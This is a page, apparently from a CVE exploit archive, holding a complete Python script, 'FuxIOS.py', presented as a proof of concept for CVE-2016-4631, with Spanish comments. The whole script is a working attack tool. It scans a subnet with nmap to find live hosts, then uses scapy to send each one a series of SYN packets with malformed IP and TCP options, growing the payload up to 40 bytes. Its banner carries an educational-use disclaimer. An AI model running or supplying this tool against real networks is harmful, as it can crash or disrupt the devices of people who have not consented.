4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / FuxIOS.py PY
#!/usr/bin/env python3
"""
FuxIOS.py - CVE-2016-4631 Exploit PoC
Actualizado para Python 3 con mejoras modernas
"""

import os
import sys
import time
import socket
import argparse
import ipaddress
import logging
from typing import List, Optional
try:
    import nmap
except ImportError:
    print("Error: python-nmap no está instalado. Instala con: pip install python-nmap")
    sys.exit(1)

import struct
try:
    from scapy.all import IP, TCP, send
    from scapy.layers.inet import ICMP
    import scapy.config
except ImportError:
    print("Error: scapy no está instalado. Instala con: pip install scapy")
    sys.exit(1)

# Configuración de logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s',
    handlers=[
        logging.FileHandler('fuxios_exploit.log'),
        logging.StreamHandler(sys.stdout)
    ]
)
logger = logging.getLogger(__name__)

def banner() -> str:
    """Muestra el banner del script"""
    return '''
    ######################################################
    # FuxIOS.py v2.0 - CVE-2016-4631 PoC                #
    # CODED BY -> 3xplo1t_ | Actualizado para Python 3  #
    # DISCLAIMER:                                        #
    # Este PoC es solo para pruebas y fines educativos  #
    # Usar únicamente en entornos autorizados           #
    # ¡Diviértete y recuerda, F0LloW_Th3_R4ts <:8)~~!   #
    ######################################################
    '''
 
def validate_ip(ip: str) -> bool:
    """Valida si una dirección IP es correcta"""
    try:
        ipaddress.ip_address(ip)
        return True
    except ValueError:
        return False

def validate_subnet(subnet: str) -> bool:
    """Valida si una subred es correcta"""
    try:
        ipaddress.ip_network(subnet, strict=False)
        return True
    except ValueError:
        return False

def is_root() -> bool:
    """Verifica si el script se ejecuta con privilegios de administrador"""
    if os.name == 'nt':  # Windows
        try:
            import ctypes
            return ctypes.windll.shell32.IsUserAnAdmin()
        except Exception:
            return False
    else:  # Unix/Linux
        return os.geteuid() == 0

def scan_network(subnet: str) -> List[str]:
    """Escanea la red para encontrar hosts activos"""
    try:
        logger.info(f"Escaneando red: {subnet}")
        nm = nmap.PortScanner()
        nm.scan(hosts=subnet, arguments='-sn')  # -sn es más moderno que -sP
        hosts = nm.all_hosts()
        
        # Ordenar IPs numéricamente
        sorted_hosts = sorted(hosts, key=lambda ip: struct.unpack("!L", socket.inet_aton(ip))[0])
        logger.info(f"Encontrados {len(sorted_hosts)} hosts activos")
        return sorted_hosts
    except Exception as e:
        logger.error(f"Error durante el escaneo: {e}")
        return []

def create_malicious_packet(src_ip: str, dst_ip: str, payload: str):
    """Crea el paquete malicioso para explotar CVE-2016-4631"""
    try:
        # Paquete IP con opciones malformadas
        ip_packet = IP(src=src_ip, dst=dst_ip, options=payload)
        
        # TCP con opciones específicas para la vulnerabilidad
        tcp_packet = TCP(
            dport=80,  # Puerto destino
            flags="S",  # Bandera SYN
            options=[(19, b"x" * 18), (19, b"x" * 18)]  # Opciones TCP malformadas
        )
        
        return ip_packet / tcp_packet
    except Exception as e:
        logger.error(f"Error creando paquete: {e}")
        return None

def exploit(src_ip: str = '192.168.1.95', subnet: str = '192.168.1.0/24', 
           max_payload_size: int = 40, delay: float = 0.2) -> None:
    """
    Función principal del exploit para CVE-2016-4631
    
    Args:
        src_ip: IP origen del ataque
        subnet: Subred objetivo
        max_payload_size: Tamaño máximo del payload
        delay: Retraso entre paquetes
    """
    
    # Validaciones de entrada
    if not validate_ip(src_ip):
        logger.error(f"IP origen inválida: {src_ip}")
        return
        
    if not validate_subnet(subnet):
        logger.error(f"Subred inválida: {subnet}")
        return
    
    # Escanear red
    target_hosts = scan_network(subnet)
    if not target_hosts:
        logger.warning("No se encontraron hosts activos")
        return
    
    logger.info(f"Iniciando exploit contra {len(target_hosts)} hosts")
    logger.info(f"Configuración: src={src_ip}, delay={delay}s, max_payload={max_payload_size}")
    
    try:
        # Generar payloads incrementales
        for i in range(1, max_payload_size + 1):
            payload = "x" * i
            logger.info(f"Enviando payload de tamaño {i}")
            
            for host in target_hosts:
                try:
                    packet = create_malicious_packet(src_ip, host, payload)
                    if packet:
                        logger.info(f"[*] Enviando a {host} | Payload: {len(payload)} bytes")
                        send(packet, verbose=False)
                        time.sleep(delay)
                except Exception as e:
                    logger.error(f"Error enviando a {host}: {e}")
                    continue
                    
    except KeyboardInterrupt:
        logger.info("Exploit interrumpido por el usuario")
    except Exception as e:
        logger.error(f"Error durante el exploit: {e}")

def parse_arguments() -> argparse.Namespace:
    """Parsea los argumentos de línea de comandos"""
    parser = argparse.ArgumentParser(
        description="FuxIOS.py v2.0 - CVE-2016-4631 PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=banner()
    )
    
    parser.add_argument(
        '-s', '--source',
        default='192.168.1.95',
        help='IP origen del ataque (por defecto: 192.168.1.95)'
    )
    
    parser.add_argument(
        '-n', '--network',
        default='192.168.1.0/24',
        help='Subred objetivo (por defecto: 192.168.1.0/24)'
    )
    
    parser.add_argument(
        '-m', '--max-payload',
        type=int,
        default=40,
        help='Tamaño máximo del payload (por defecto: 40)'
    )
    
    parser.add_argument(
        '-d', '--delay',
        type=float,
        default=0.2,
        help='Retraso entre paquetes en segundos (por defecto: 0.2)'
    )
    
    parser.add_argument(
        '--interactive',
        action='store_true',
        help='Modo interactivo (compatibilidad con versión anterior)'
    )
    
    return parser.parse_args()

def interactive_mode() -> None:
    """Modo interactivo para compatibilidad con la versión anterior"""
    print(banner())
    
    print("Modo interactivo de FuxIOS.py v2.0")
    print("=" * 50)
    
    use_default = input(
        'Configuración por defecto:\n'
        'Tu IP: 192.168.1.95\n'
        'Tu subred: 192.168.1.0/24\n'
        '¿Usar configuración personalizada? [s/n]: '
    ).lower().strip()
    
    if use_default in ['n', 'no']:
        src_ip = '192.168.1.95'
        subnet = '192.168.1.0/24'
    else:
        while True:
            src_ip = input('Ingresa TU dirección IP (ej: 192.168.1.95): ').strip()
            if validate_ip(src_ip):
                break
            print("IP inválida, intenta de nuevo.")
        
        while True:
            subnet = input('Ingresa la dirección de subred (ej: 192.168.1.0/24): ').strip()
            if validate_subnet(subnet):
                break
            print("Subred inválida, intenta de nuevo.")
    
    print(f"\nIniciando exploit con IP origen: {src_ip}, Subred: {subnet}")
    exploit(src_ip=src_ip, subnet=subnet)

def main():
    """Función principal del programa"""
    
    try:
        args = parse_arguments()
        
        # Si solo pide ayuda, no verificar privilegios
        if len(sys.argv) == 1 or '--help' in sys.argv or '-h' in sys.argv:
            return
            
        # Verificar privilegios de administrador solo para ejecución real
        if not is_root():
            print('\n❌ Debes ejecutar este script como administrador/root para usar Scapy\n')
            if os.name == 'nt':
                print('En Windows: Ejecuta como "Ejecutar como administrador"')
            else:
                print('En Linux/Unix: Ejecuta con sudo')
            sys.exit(1)
        
        if args.interactive:
            interactive_mode()
        else:
            print(banner())
            logger.info("Iniciando FuxIOS.py v2.0 - CVE-2016-4631 PoC")
            
            exploit(
                src_ip=args.source,
                subnet=args.network,
                max_payload_size=args.max_payload,
                delay=args.delay
            )
            
    except KeyboardInterrupt:
        print('\n\n⚠️  Exploit abortado por el usuario\n')
        logger.info("Exploit interrumpido por el usuario")
    except Exception as e:
        logger.error(f"Error inesperado: {e}")
        print(f"\n❌ Error: {e}\n")
    finally:
        if '--help' not in sys.argv and '-h' not in sys.argv and len(sys.argv) > 1:
            print("Exploit finalizado.")

if __name__ == '__main__':
    main()